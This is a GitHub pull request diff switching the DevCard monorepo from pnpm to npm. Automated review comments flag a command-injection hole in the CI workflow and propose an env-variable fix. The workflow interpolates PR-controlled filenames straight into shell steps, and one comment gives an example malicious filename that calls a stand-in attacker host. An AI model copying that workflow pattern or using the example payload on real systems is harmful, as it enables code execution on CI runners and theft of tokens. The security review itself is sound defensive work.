Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
6 changes: 3 additions & 3 deletions .github/pull_request_template.md
Original file line number Diff line number Diff line change
Expand Up @@ -43,10 +43,10 @@ Closes #

## Checklist

- [ ] My code follows the project's coding style (`pnpm -r run lint` passes).
- [ ] TypeScript compiles without errors (`pnpm -r run typecheck`).
- [ ] My code follows the project's coding style (`npm run lint --workspaces --if-present` passes).
- [ ] TypeScript compiles without errors (`npm run typecheck --workspaces --if-present`).
- [ ] I have added or updated tests for the changes I made.
- [ ] All tests pass locally (`pnpm -r run test`).
- [ ] All tests pass locally (`npm run test --workspaces --if-present`).
- [ ] I have updated documentation where necessary.
- [ ] No new `console.log` or debug statements left in the code.
- [ ] Breaking changes are documented in this PR description.
Expand Down
26 changes: 10 additions & 16 deletions .github/workflows/ci.yml
Original file line number Diff line number Diff line change
Expand Up @@ -55,25 +55,23 @@ jobs:
with:
node-version: 22

- uses: pnpm/action-setup@v6.0.8

- run: pnpm install
- run: npm ci

- name: Backend lint
id: backend_lint
continue-on-error: true
run: cd apps/backend && pnpm eslint ${{ needs.detect-changes.outputs.backendFiles }}
run: cd apps/backend && npx eslint ${{ needs.detect-changes.outputs.backendFiles }}

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

⚠️ Potential issue | 🟠 Major | ⚡ Quick win

Command injection via ${{ ... }} expansion of PR-controlled filenames.

backendFiles, backendTestFiles, mobileFiles, and mobileTestFiles are derived from the PR's changed file paths and are interpolated directly into run: shell strings. A filename containing shell metacharacters (e.g. $(...), ;, backticks) executes arbitrary commands on the runner. This is amplified because the workflow uses pull_request_target with pull-requests: write, so injected code runs in a privileged context with access to GITHUB_TOKEN. Pass the values through env: and reference quoted shell variables instead of inline expansion.

🔒 Example mitigation (apply to each affected step)
       - name: Backend lint
         id: backend_lint
         continue-on-error: true
-        run: cd apps/backend && npx eslint ${{ needs.detect-changes.outputs.backendFiles }}
+        env:
+          BACKEND_FILES: ${{ needs.detect-changes.outputs.backendFiles }}
+        run: cd apps/backend && npx eslint $BACKEND_FILES
As per static analysis (zizmor template-injection on lines 63, 69, 142, 148).

Also applies to: 69-69, 142-142, 148-148

🧰 Tools
🪛 zizmor (1.25.2)

[info] 63-63: code injection via template expansion (template-injection): may expand into attacker-controllable code

(template-injection)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/ci.yml at line 63, The run step is vulnerable to command
injection because it expands PR-controlled outputs like
needs.detect-changes.outputs.backendFiles inline in the shell; change these
steps to pass each output via env (e.g., BACKEND_FILES, BACKEND_TEST_FILES,
MOBILE_FILES, MOBILE_TEST_FILES) and reference the variables in the run command
as quoted shell variables (e.g., "$BACKEND_FILES") instead of using ${{ ... }}
in the run string; update the affected steps that currently use
needs.detect-changes.outputs.backendFiles, backendTestFiles, mobileFiles, and
mobileTestFiles to use environment variables and quoted expansion to prevent
shell metacharacter injection.

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

P0: Command injection vulnerability: ${{ needs.detect-changes.outputs.backendFiles }} is interpolated directly into the shell script via GitHub Actions template expansion. Since these outputs contain PR-controlled file paths, an attacker can craft a filename with shell metacharacters (e.g., $(curl attacker.com).txt) to execute arbitrary commands on the runner. This is especially dangerous in a privileged workflow context with write permissions.

Pass the value through an environment variable instead:

      - name: Backend lint
        id: backend_lint
        continue-on-error: true
        env:
          BACKEND_FILES: ${{ needs.detect-changes.outputs.backendFiles }}
        run: cd apps/backend && npx eslint $BACKEND_FILES

The same issue applies to backendTestFiles, mobileFiles, and mobileTestFiles interpolations below.

Prompt for AI agents
Check if this issue is valid — if so, understand the root cause and fix it. At .github/workflows/ci.yml, line 63:

<comment>Command injection vulnerability: `${{ needs.detect-changes.outputs.backendFiles }}` is interpolated directly into the shell script via GitHub Actions template expansion. Since these outputs contain PR-controlled file paths, an attacker can craft a filename with shell metacharacters (e.g., `$(curl attacker.com)`.txt) to execute arbitrary commands on the runner. This is especially dangerous in a privileged workflow context with write permissions.

Pass the value through an environment variable instead:
```yaml
      - name: Backend lint
        id: backend_lint
        continue-on-error: true
        env:
          BACKEND_FILES: ${{ needs.detect-changes.outputs.backendFiles }}
        run: cd apps/backend && npx eslint $BACKEND_FILES

The same issue applies to backendTestFiles, mobileFiles, and mobileTestFiles interpolations below.

@@ -55,25 +55,23 @@ jobs: id: backend_lint continue-on-error: true - run: cd apps/backend && pnpm eslint ${{ needs.detect-changes.outputs.backendFiles }} + run: cd apps/backend &amp;&amp; npx eslint ${{ needs.detect-changes.outputs.backendFiles }}
   - name: Backend test

</file context>


</details>


- name: Backend test
id: backend_test
if: needs.detect-changes.outputs.backendTestFiles != ''
continue-on-error: true
run: cd apps/backend && pnpm test --passWithNoTests ${{ needs.detect-changes.outputs.backendTestFiles }}
run: cd apps/backend && npm test -- --passWithNoTests ${{ needs.detect-changes.outputs.backendTestFiles }}

- name: Backend typecheck
id: backend_typecheck
continue-on-error: true
run: cd apps/backend && pnpm typecheck
run: cd apps/backend && npm run typecheck

- name: Fail job if any check failed
if: >
Expand All @@ -100,19 +98,17 @@ jobs:
with:
node-version: 22

- uses: pnpm/action-setup@v6.0.8

- run: pnpm install
- run: npm ci

- name: Web check
id: web_check
continue-on-error: true
run: cd apps/web && pnpm check
run: cd apps/web && npm run lint

- name: Web build
id: web_build
continue-on-error: true
run: cd apps/web && pnpm build
run: cd apps/web && npm run build

- name: Fail job if any check failed
if: >
Expand All @@ -138,20 +134,18 @@ jobs:
with:
node-version: 22

- uses: pnpm/action-setup@v6.0.8

- run: pnpm install
- run: npm ci

- name: Mobile lint
id: mobile_lint
continue-on-error: true
run: cd apps/mobile && pnpm eslint ${{ needs.detect-changes.outputs.mobileFiles }}
run: cd apps/mobile && npx eslint ${{ needs.detect-changes.outputs.mobileFiles }}

- name: Mobile test
id: mobile_test
if: needs.detect-changes.outputs.mobileTestFiles != ''
continue-on-error: true
run: cd apps/mobile && pnpm test --passWithNoTests ${{ needs.detect-changes.outputs.mobileTestFiles }}
run: cd apps/mobile && npm test -- --passWithNoTests ${{ needs.detect-changes.outputs.mobileTestFiles }}

- name: Fail job if any check failed
if: >
Expand Down
1 change: 0 additions & 1 deletion .gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -45,6 +45,5 @@ coverage/
*.log
npm-debug.log*
yarn-debug.log*
pnpm-debug.log*
.cache/
tmp/
30 changes: 15 additions & 15 deletions CONTRIBUTING.md
Original file line number Diff line number Diff line change
Expand Up @@ -13,7 +13,7 @@
### Prerequisites

- **Node.js** >= 20
- **pnpm** >= 9
- **npm** >= 10
- **Docker** & Docker Compose
- **React Native** dev environment — follow the [official setup guide](https://reactnative.dev/docs/environment-setup)

Expand All @@ -25,7 +25,7 @@ git clone https://github.com/Dev-Card/DevCard.git
cd devcard

# 2. Install dependencies
pnpm install
npm install

# 3. Start PostgreSQL + Redis
docker compose up -d
Expand All @@ -35,40 +35,40 @@ cp .env.example .env
# Edit .env with your OAuth credentials

# 5. Run database migrations and seed
pnpm db:migrate
pnpm db:seed
npm run db:migrate
npm run db:seed

# 6. Start development
pnpm dev:backend # Backend API on :3000
pnpm dev:mobile # React Native app
npm run dev:backend # Backend API on :3000
npm run dev:mobile # React Native app
```

### Running Tests

This project uses `pnpm` to run tests across different parts of the codebase.
This project uses npm workspaces to run tests across different parts of the codebase.

#### Run all tests
To execute all available tests:
```bash
pnpm -r test
npm run test --workspaces --if-present
```

#### apps/backend
The backend uses Vitest:
```bash
pnpm --filter @devcard/backend test
pnpm --filter @devcard/backend test:watch
npm --workspace @devcard/backend run test
npm --workspace @devcard/backend run test:watch
```
#### apps/mobile
The mobile app uses Jest:
```bash
pnpm --filter @devcard/mobile test
npm --workspace @devcard/mobile run test
```
#### apps/web
Currently, the web app does not define a test script.

#### packages/shared
The shared package does not include test scripts. It only provides linting and type checking.
The shared package uses Vitest and also provides linting and type checking.


## Project Structure
Expand All @@ -84,16 +84,16 @@ devcard/
## Coding Standards

- **TypeScript** for all new code
- **ESLint + Prettier** for formatting (run `pnpm lint` before committing)
- **ESLint + Prettier** for formatting (run `npm run lint` before committing)
- **Conventional Commits** for commit messages (`feat:`, `fix:`, `docs:`, `chore:`)
- Write tests for new features and bug fixes

## Pull Request Process

1. Create a feature branch from `main`: `git checkout -b feat/your-feature`
2. Make your changes with clear, descriptive commits
3. Ensure all tests pass: `pnpm test`
4. Ensure linting passes: `pnpm lint`
3. Ensure all tests pass: `npm run test`
4. Ensure linting passes: `npm run lint`
5. Open a PR against `main` with a clear description of the change
6. Wait for review — maintainers will respond within 48 hours

Expand Down
14 changes: 7 additions & 7 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -53,7 +53,7 @@ Each exchange is manual, error-prone, and slow. DevCard fixes this.
### Prerequisites

- Node.js >= 20
- pnpm >= 9
- npm >= 10
- Docker & Docker Compose
- React Native development environment ([setup guide](https://reactnative.dev/docs/environment-setup))

Expand All @@ -65,7 +65,7 @@ git clone https://github.com/Dev-Card/DevCard.git
cd devcard

# Install dependencies
pnpm install
npm install

# Start infrastructure (PostgreSQL + Redis)
docker compose up -d
Expand All @@ -79,16 +79,16 @@ cp .env.example .env
# Paste the generated values into your .env file. Never use placeholders in production.

# Run database migrations
pnpm db:migrate
npm run db:migrate

# Seed sample data
pnpm db:seed
npm run db:seed

# Start the backend
pnpm dev:backend
npm run dev:backend

# In another terminal — start the mobile app
pnpm dev:mobile
npm run dev:mobile
```

## Architecture
Expand All @@ -102,7 +102,7 @@ devcard/
├── packages/
│ └── shared/ # Shared types, platform registry, utils
├── docker-compose.yml # PostgreSQL + Redis
└── pnpm-workspace.yaml # Monorepo config
└── package-lock.json # npm dependency lockfile
```

### Tech Stack
Expand Down
4 changes: 2 additions & 2 deletions apps/backend/package.json
Original file line number Diff line number Diff line change
Expand Up @@ -18,7 +18,7 @@
"typecheck": "tsc --noEmit"
},
"dependencies": {
"@devcard/shared": "workspace:*",
"@devcard/shared": "file:../../packages/shared",
"@fastify/cookie": "^11.0.0",
"@fastify/cors": "^10.0.0",
"@fastify/helmet": "^12.0.0",
Expand Down Expand Up @@ -51,4 +51,4 @@
"typescript-eslint": "^8.59.3",
"vitest": "^2.0.0"
}
}
}
2 changes: 1 addition & 1 deletion apps/mobile/jest.config.js
Original file line number Diff line number Diff line change
Expand Up @@ -2,6 +2,6 @@ module.exports = {
preset: 'react-native',
setupFiles: ['<rootDir>/jest.setup.js'],
transformIgnorePatterns: [
'node_modules/(?!((react-native|@react-native|@react-navigation|@gorhom)/|\\.pnpm/(react-native|@react-native|@react-navigation|@gorhom)[^/]*))',
'node_modules/(?!((react-native|@react-native|@react-navigation|@gorhom)/))',
],
};
1 change: 0 additions & 1 deletion apps/web/.gitignore
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,6 @@ logs
npm-debug.log*
yarn-debug.log*
yarn-error.log*
pnpm-debug.log*
lerna-debug.log*

node_modules
Expand Down
Loading
Loading